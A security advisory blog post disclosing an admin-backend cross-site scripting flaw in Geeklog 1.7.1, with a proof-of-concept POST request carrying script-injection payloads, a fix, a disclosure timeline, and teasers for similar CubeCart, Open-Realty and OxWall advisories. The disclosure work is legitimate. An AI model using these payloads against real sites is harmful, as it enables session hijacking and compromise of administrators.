Geeklog 1.7.1 <= Cross Site Scripting Vulnerability

By YGN Ethical Hacker Group -


1. OVERVIEW

The Geeklog was vulnerable to Cross Site Scripting in its administration backend.


2. BACKGROUND

Geeklog is a PHP/MySQL based application for managing dynamic web content.
"Out of the box", it is a blog engine, or a CMS with support for comments, trackbacks,
multiple syndication formats, spam protection, and all the other vital features of such a system.


3. VULNERABILITY DESCRIPTION

User supplied input is not probably sanitized in the "subgroup" and "conf_group"
parameters when the configuration settings are saved in  /admin/configuration.php.
Attackers who manage to get/bypass anti-csrf token (_glsectoken) via other means can effectively perform XSS against admin users.


4. VERSIONS AFFECTED

1.7.1 and lower


5. PROOF-OF-CONCEPT/EXPLOIT

[Request]

POST /geeklog/admin/configuration.php HTTP/1.1

_glsectoken=&conf_group=Core'"--></script><script>alert(/XSS/)</script>&subgroup='"--></script><script>alert(/XSS/)</script>

[/Request]


6. SOLUTION

Upgrade to 1.7.1sr1


7. VENDOR

Geeklog Development Team
http://www.geeklog.net/


8. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2010-12-31: notified vendor
2011-01-02: vendor released fixed version
2011-01-04: vulnerability disclosed


10. REFERENCES

Original Advisory URL: http://yehg.net/lab/pr0js/advisories/[geeklog1.7.1]_cross_site_scripting
Vendor Advisory: http://www.geeklog.net/article.php/geeklog-1.7.1sr1
About Geeklog: http://www.geeklog.net/docs/english/#introduction
http://stephensclafani.com/2009/05/26/exploiting-unexploitable-xss/
http://kuza55.blogspot.com/2008/02/exploiting-csrf-protected-xss.html

#yehg [2011-01-04]

---------------------------------
Best regards,
YGN Ethical Hacker Group
Yangon, Myanmar
http://yehg.net
Our Lab | http://yehg.net/lab
Our Directory | http://yehg.net/hwd

Popular posts from this blog

CubeCart 3.0.20 (3.0.x) and lower | Multiple Cross Site Scripting Vulnerabilities

By YGN Ethical Hacker Group -
1. OVERVIEW CubeCart 3.0.20 and lower versions are vulnerable to Cross Site Scripting. 2. BACKGROUND CubeCart is an "out of the box" ecommerce shopping cart software solution which has been written to run on servers that have PHP & MySQL support. With CubeCart you can quickly setup a powerful online store which can be used to sell digital or tangible products to new and existing customers all over the world. 3. VULNERABILITY DESCRIPTION Multiple parameters are not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser. 4. VERSIONS AFFECTED 3.0.20 and lower (aka 3.0.x family) 5. Affected URLs and Parameters /admin/adminusers/permissions.php (adminId parameter) /admin/categories/index.php (cat_name parameter) /admin/categories/languages.php (cat_master_id parameter) /admin/customers/ (
Read more

Open-Realty CMS 3.x | Persistent Cross Site Scripting (XSS) Vulnerability

By YGN Ethical Hacker Group -
1. OVERVIEW Open-Realty CMS 3.x versions are vulnerable to Persistent Cross Site Scripting (XSS). 2. BACKGROUND Open-Realty is the world's leading real estate listing marketing and management CMS application, and has enjoyed being the real estate web site software of choice for professional web site developers since 2002. 3. VULNERABILITY DESCRIPTION Multiple parameters are not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser. 4. VERSIONS AFFECTED 3.x 5. PROOF-OF-CONCEPT/EXPLOIT /admin/ajax.php (parameter: title, full_desc, ta) /////////////////////////////////////////////////////// POST /admin/ajax.php?action=ajax_update_listing_data HTTP/1.1 Host: localhost Content-Length: 574 Origin: http://localhost X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded
Read more

OxWall 1.1.1 <= Multiple Cross Site Scripting Vulnerabilities (CVE-2012-0872)

By YGN Ethical Hacker Group -
1. OVERVIEW OxWall 1.1.1 and lower versions are vulnerable to Cross Site Scripting. 2. BACKGROUND Oxwall is a free open source software package for building social networks, family sites and collaboration systems. It is a flexible community website engine developed with the aim to provide people with a well-coded, user-friendly software platform for social needs. It is easy to set up, configure and manage Oxwall while you focus on your site idea. We are testing the concept of free open source community software for complete (site,sub-site setups) and partial (widgets,features) community and collaboration solutions for companies and individuals. 3. VULNERABILITY DESCRIPTION Multiple parameters were not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser. 4. VERSIONS AFFECTED 1.1.1 and lower 5. PROOF-OF-CONCE
Read more